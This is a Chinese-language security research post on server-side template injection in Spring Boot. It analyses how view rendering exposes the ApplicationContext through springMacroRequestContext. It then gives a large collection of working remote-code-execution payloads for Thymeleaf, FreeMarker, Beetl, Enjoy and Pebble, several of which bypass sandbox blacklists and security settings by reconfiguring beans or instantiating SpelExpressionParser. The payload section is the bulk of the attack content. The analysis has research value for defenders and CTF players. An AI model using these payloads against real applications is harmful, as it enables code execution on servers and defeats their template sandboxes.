前言

最近打比赛和看到的一些漏洞都有模板注入的影子,就现在来看SSTI相关的文章也有很多了,像一些热门的模板引擎thymeleaffreemarker 等相关的payload也已经有很多了,我就借最近看到的一些模板注入的payload来探索一下在spring框架中对于模板注入,有没有一些通用性和可用性较高的payload。

springboot中视图渲染流程

这里为了方便,以springboot为例,分析下其视图渲染的流程。

写一个简单的Controller来返回index.html的视图

image-20240214124729572

我们在 return "index.html" 处打上断点调试,往前找到调用栈,直接锁定到核心控制器DispatcherServlet#doDispatch 方法处。

image-20240214125655588

image-20240214125716803

可以看到最后 return index.html 后最终在DispatcherServlet#doDispatch 中获取到的是一个 ModelAndView 对象

image-20240214125918879

拿到mv之后才会进行后面的视图渲染,那么后续我们一路跟踪下这个 mv

我们进入到 doDispatch 方法最后的 processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException)

image-20240214130324603

在这里进行了视图的渲染操作

render 方法还是在 DispatcherServlet 中,继续跟进看看

这是整个 render 方法

protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
	// Determine locale for request and apply it to the response.
	Locale locale =
			(this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale());
	response.setLocale(locale);

	View view;
	String viewName = mv.getViewName();
	if (viewName != null) {
		// We need to resolve the view name.
		view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
		if (view == null) {
			throw new ServletException("Could not resolve view with name '" + mv.getViewName() +
					"' in servlet with name '" + getServletName() + "'");
		}
	}
	else {
		// No need to lookup: the ModelAndView object contains the actual View object.
		view = mv.getView();
		if (view == null) {
			throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a " +
					"View object in servlet with name '" + getServletName() + "'");
		}
	}

	// Delegate to the View object for rendering.
	if (logger.isTraceEnabled()) {
		logger.trace("Rendering view [" + view + "] ");
	}
	try {
		if (mv.getStatus() != null) {
			request.setAttribute(View.RESPONSE_STATUS_ATTRIBUTE, mv.getStatus());
			response.setStatus(mv.getStatus().value());
		}
		view.render(mv.getModelInternal(), request, response);
	}
	catch (Exception ex) {
		if (logger.isDebugEnabled()) {
			logger.debug("Error rendering view [" + view + "]", ex);
		}
		throw ex;
	}
}

​ 其中两个关键的点就是 view = resolveViewName(viewName, mv.getModelInternal(), locale, request);view.render(mv.getModelInternal(), request, response);

resolveViewName 方法用于在spring所管理的bean中取出一个合适的模板bean,之后调用该 viewrender 方法进行渲染,所以不同的模板引擎也就是在 view.render 中有所不同,前面的步骤大致都是一样的。mv.getModelInternal() 获取到的是一个map,其中就是存放着用户向模板上下文中添加的属性。

这里先看下springmvc是如何选择模板引擎的

resolveViewName方法中遍历所有的 viewResolvers 进行选择

image-20240214131611229

后续如何选择最合适的模板就不展开说了。

而对于核心控制器 DispatcherServlet 中的 viewResolvers 是怎么来的,这就要看 DispatcherServlet 的初始化操作了。

这里以 thymeleaf 模板引擎为例

org.springframework.web.servlet.DispatcherServlet#initViewResolvers 中初始化时会在当前IOC容器中寻找实现了 ViewResolver 接口的bean

image-20240214133136692

thyymeleaforg.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration.ThymeleafWebMvcConfiguration.ThymeleafViewResolverConfiguration 添加了 @Bean 注解,会自动将ThymeleafViewResolver注入到 spring 的 IOC容器中

image-20240214144328117

这也就是为什么springboot配置 thymeleaf 模板这么方便的原因了。

那么对于其他的模板引擎也基本上是一样的,在springboot下将自己注入到IOC容器中就算是配置完成了。

关于springMacroRequestContext

介绍

springMacroRequestContext 是模板模型中 org.springframework.web.servlet.support.RequestContext 实例的属性名称,这个类中有个 webApplicationContext 属性

image-20240214145245956

image-20240214145317870

有对应得 getter 方法去获取,而这个 webApplicationContext 正是spring中的应用程序上下文,其就是我们启动springboot程序 SpringApplication.run(DemoThyApplication.class, args); 的返回值

image-20240214145833769

image-20240214145905066

所以一般在模板引擎中我们利用 springMacroRequestContext.webApplicationContext 就能获取到spring的应用程序上下文。那么有了 ApplicationContext 这个实例,我们基本上就有了整个IOC容器的控制权,我们完全可以在模板沙箱中利用应用程序上下文来达成各种操作。

这里分析下不同模板引擎其 springMacroRequestContext 属性的注入流程

thymeleaf

目前最新版的thymeleaf中,在 org.thymeleaf.spring6.view.ThymeleafView 这个类中

image-20240215121350526

image-20240215121611415

其相关属性及值其实最后是存储在 HttpServletRequest 中的attributes

image-20240215131029103

image-20240215131143235

最后取值自然也是从 httpServletRequest.getAttribute(name) 中获取

image-20240215131328626

所以可以在模板中通过

[[${springMacroRequestContext.webApplicationContext}]]

[[${springRequestContext.webApplicationContext}]]

来获取ApplicationContext

注意,在我目前写文章的时期的最新版thymeleaf 3.2.1版本中 springMacroRequestContext 获取到的 RequestContext 被拉进了黑名单

但前面分析过,我们取值是从 httpServletRequest.getAttribute(name) 中获取的,其中的 org.springframework.web.servlet.DispatcherServlet.CONTEXT 属性正好就是我们想要的 ApplicationContext

image-20240215133352826

所以在3.2.1版本中我们可以这样直接获取

[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT']}]]

image-20240215133524741

freemarker

我们继续进入到 org.springframework.web.servlet.View#render 方法的 view.render(mv.getModelInternal(), request, response)

之后在其 org.springframework.web.servlet.view.AbstractView#renderMergedOutputModel 方法

image-20240215134944606

可以看到,同样添加了 springMacroRequestContext

所以直接访问即可

${springMacroRequestContext.webApplicationContext}

image-20240215135124584

velocity

目前大多数spring已不支持velocity的自动配置,且其payload构造也比较简单,也没什么黑名单什么的,本文就不展开说了。

beetl

beetl是一款国产高速模板引擎

文档:https://www.kancloud.cn/xiandafu/beetl3_guide/1992542

其后面的添加 springMacroRequestContext 流程和freemarker一样

image-20240215154634196

后面beetl会将model参数传给 modifyTemplate 方法处理

image-20240215154753898

之后会绑定到beetl的全局上下文中

image-20240215154942607

取值 RequestContext

使用下面的payload获取 ApplicationContext

${springMacroRequestContext.webApplicationContext}

image-20240215155343441

Enjoy

Enjoy 是基于 Java 语言的极度轻量级模板引擎,文档:https://jfinal.com/doc/6-1

看看他的 springMacroRequestContext 是怎么搞得

image-20240215201739211

和前面的一样,还是在其父类 org.springframework.web.servlet.view.AbstractTemplateView#renderMergedOutputModel 中进行添加,不过多赘述了

#(springMacroRequestContext.webApplicationContext)

image-20240215202051495

pebble

和前面分析的都一样的

image-20240215215422730

{{springMacroRequestContext.webApplicationContext}}

另外发现 pebble 还将当前应用程序上下文作为变量beans加进去了

image-20240215215614786

image-20240215220036348

所以也可以这样访问到ApplicationContext中的bean

{{beans.get("beanName")}}

例如获取 jacksonObjectMapper 这个bean

{{beans.get("jacksonObjectMapper")}}

image-20240215220159920

利用ApplicationContext寻找payload

前面说过,我们完全可以在模板中通过 springMacroRequestContext.webApplicationContext 来获取到spring应用程序上下文(ApplicationContext),利用它或者是操控其中的bean我们就可以完成一系列操作。

加载任意类

对于ApplicationContext,我们能拿到什么,其有这些方法 getClassLoader()getBean(String beanName) 等,我们可以拿到ClassLoader去加载任意类

image-20240216153132312

对于获取ClassLoader,有些模板引擎会直接将 Class 对象拉进黑名单,所以利用ApplicationContext对象获取ClassLoader是最简单的方法了,另外有些模板引擎也会将 getClassLoader 方法拉进黑名单,但一般模板引擎访问对象中的属性其实会默认调用其 getter 方法的,如获取ApplicationContext的ClassLoader我们可以在模板中这样写 springMacroRequestContext.webApplicationContext.classLoader ,这其实就是调用其 getClassLoader() 方法获取的

比如在 enjoy模板引擎getClassLoader 被拉进了黑名单

image-20240216160836710

我们使用 #(springMacroRequestContext.webApplicationContext.getClassLoader()) 发现报错

image-20240216161026873

但使用 #(springMacroRequestContext.webApplicationContext.classLoader) 发现可以正常获取到

image-20240216161113958

创建任意对象

springboot下我们可以获取其 BeanFactory,然后调用其 createBean 方法来创建对象

比如这里我们仅仅利用拿到的ApplicationContext就完成了对 org.springframework.expression.spel.standard.SpelExpressionParser 的实例化,后续调用其 parseExpression 方法执行一个SpEL表达式即可RCE

image-20240216170301271

以thymeleaf3.1.1为例,可以这样RCE,其他模板引擎也差不多

[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

总之我们仅利用 springMacroRequestContext.webApplicationContext 就能完成对任意类的实例化操作,对于实例化什么那就看自己需要了

其内置的一些bean

利用获取到的ApplicationContext我们还可以使用其 getBean(String beanName) 方法来获取某些bean来达成某些操作

如利用内置的 org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory 这个bean,访问其 resourceLoader.classLoader 来获取类加载器。或是利用 jacksonObjectMapper 这个bean,调用其 readValue('{}', clazz) 方法来实例化对象。网上的文章有很多,这里就不一一分析了。

payload汇总

下面的payload在笔者写文章的时候都是在其最新版本可用的

thymeleaf

下面的payload基本都是换汤不换药

< v3.2.1 版本

payload:

[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

其他

[[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(''.getClass.forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

排列组合下一大堆

v3.2.1 版本(这个版本黑名单添加了一大堆, RequestContext 被拉进了黑名单,但还是存在绕过方法)

[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].beanFactory.createBean(#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

其他

[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

freemarker

freemarker相关SSTI的payload最简单的可能就是

${"freemarker.template.utility.Execute"?new()("calc")}

2.3.17 版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

image-20240215135600310

(设置不能解析任何类)

下面的payload可以在其设置了 ALLOWS_NOTHING_RESOLVER 之后依然可以RCE,其原理就是利用 springMacroRequestContext.webApplicationContext 来获取到 freeMarkerConfiguration 这个bean,从而修改其安全配置来达到绕过的效果

(v2.3.32)

${springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').setNewBuiltinClassResolver(springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').getDefaultConfiguration().getNewBuiltinClassResolver())}
${"freemarker.template.utility.Execute"?new()("calc")}

beetl

其默认的安全策略如下 (3.15.14版本)

image-20240215145334250

显然很容易绕过,方法有很多了

例如

${ @java.beans.Beans.instantiate(null,"org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()").getValue()}

下面是是用 springMacroRequestContext.webApplicationContext ,不用静态方法去实现RCE

payload:

<%
var beanFactory = springMacroRequestContext.webApplicationContext.beanFactory;
var cl = springMacroRequestContext.webApplicationContext.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@beanFactory.createBean(clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>

其他

<%
var applicationContext = springMacroRequestContext.webApplicationContext;
var cachingMetadataReaderFactory = @applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory');
var cl = cachingMetadataReaderFactory.resourceLoader.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>
<%
var applicationContext = springMacroRequestContext.webApplicationContext;
var cl = applicationContext.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>

方法很多了,不一一列举了

当然也可以结合其内置方法或其它静态方法去实现,方法很多,其他的就师傅们自己探索了,官方文档:https://www.kancloud.cn/xiandafu/beetl3_guide

Enjoy

enjoy有自己的黑名单,其限制

image-20240215203710612

image-20240215203722990

在jdk17下我们可以使用jshell来rce

payload

#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));'))

其他模板引擎像 thymeleaf这种默认是可以调用java静态方法的,但参考enjoy模板引擎官方文档可以发现自 jfinal 5.0.2 开始其默认是不开启静态属性访问和静态方法调用的 https://jfinal.com/doc/6-3

image-20240215202346185

那我们完全可以使用 springMacroRequestContext.webApplicationContext 来获取 jfinalViewResolver 这个bean来修改其配置,使其支持静态方法访问和调用

因为渲染执行顺序问题,先对所有的调用进行检查之后才执行,所以开启静态方法执行和调用jshell的payload要分开打

开启静态方法执行

#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))

之后用jshell执行命令(jdk>=17)

#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));'))

当然,我们也可以使用下面的payload,还是利用ApplicationContext来绕过限制,这个是没有调用静态方法实现

payload:

#set(applicationContext = springMacroRequestContext.webApplicationContext)
#(applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

其他

#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory'))
#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())
#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(clazz = applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

pebble

黑名单限制如下

image-20240215215210637

还是用同样的方法也能绕

payload:

{% set applicationContext = springMacroRequestContext.webApplicationContext %}
{{applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

其他

{% set applicationContext = springMacroRequestContext.webApplicationContext %}
{% set clazz = applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{{applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

利用其内置的 beans 属性进行替换也是可以的

{% set cachingMetadataReaderFactory = beans.get('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory') %}
{% set clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{{beans.get("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

image-20240215215309597

总结

感觉比较万能的payload还是利用 beanFactory中的createBean方法和获取的ClassLoader来实例化 org.springframework.expression.spel.standard.SpelExpressionParser 去执行SpEl表达式RCE,这些都是spring默认自带的

我们利用 context = springMacroRequestContext.webApplicationContext 获取到应用程序上下文后,只需要执行下面的表达式就能够RCE

context.beanFactory.createBean(context.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

局限性

当然,局限性也是比较大的,主要是本文所用的方法都是利用spring中的应用程序上下文(ApplicationContext),或利用其中的bean来完成各种操作,所以脱离了spring,或者是没有作为spring的渲染视图,就没有办法利用。在实战中的用处也不是很大,需要我们上传恶意模板去作为视图渲染才行,像一般传个字符串去渲染SSTI是没法获取到ApplicationContext的。也就在CTF中可能会有点用?

参考文章

https://mp.weixin.qq.com/s/Dt0H4a8J4o6KC-H32ExGIA

https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/

https://github.com/Y4tacker/Web-Security/issues/3